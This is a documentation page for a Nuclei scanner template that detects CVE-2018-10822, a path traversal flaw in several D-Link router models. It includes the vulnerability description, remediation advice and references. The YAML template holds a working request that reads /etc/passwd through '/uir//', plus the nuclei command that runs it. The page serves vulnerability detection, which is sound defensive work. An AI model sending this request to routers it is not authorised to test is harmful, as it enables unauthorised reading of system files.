D-Link Routers - Local File Inclusion
ID: CVE-2018-10822
Severity: high
Author: daffainfo
Tags: cve2018,cve,dlink,edb,seclists,lfi,router
Description
Section titled “Description”D-Link routers DWR-116 through 1.06, DIR-140L through 1.02, DIR-640L through 1.02,DWR-512 through 2.02,DWR-712 through 2.02,DWR-912 through 2.02, DWR-921 through 2.02, DWR-111 through 1.01, and probably others with the same type of firmware allows remote attackers to read arbitrary files via a /.. or // after “GET /uir” in an HTTP request to the web interface.
YAML Source
Section titled “YAML Source”id: CVE-2018-10822
info: name: D-Link Routers - Local File Inclusion author: daffainfo severity: high description: D-Link routers DWR-116 through 1.06, DIR-140L through 1.02, DIR-640L through 1.02,DWR-512 through 2.02,DWR-712 through 2.02,DWR-912 through 2.02, DWR-921 through 2.02, DWR-111 through 1.01, and probably others with the same type of firmware allows remote attackers to read arbitrary files via a /.. or // after "GET /uir" in an HTTP request to the web interface. impact: | An attacker can exploit this vulnerability to read sensitive files on the target system remediation: | Apply the latest firmware update provided by D-Link to fix the vulnerability reference: - https://www.exploit-db.com/exploits/45678 - http://sploit.tech/2018/10/12/D-Link.html - https://nvd.nist.gov/vuln/detail/CVE-2018-10822 - https://seclists.org/fulldisclosure/2018/Oct/36 - https://github.com/ARPSyndicate/cvemon classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2018-10822 cwe-id: CWE-22 epss-score: 0.10309 epss-percentile: 0.94824 cpe: cpe:2.3:o:dlink:dwr-116_firmware:*:*:*:*:*:*:*:* metadata: max-request: 1 vendor: dlink product: dwr-116_firmware tags: cve2018,cve,dlink,edb,seclists,lfi,router
http: - method: GET path: - "{{BaseURL}}/uir//etc/passwd"
matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:"
- type: status status: - 200# digest: 4b0a004830460221009136905462d4c8e7f18ac357667a44caf1fa4a979f3d62481e480e5b2e2b8afe022100a74d327829098c6d20b5ec7736e793359bd5d5ea8da5de7238be7271570a5aa4:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/cves/2018/CVE-2018-10822.yaml"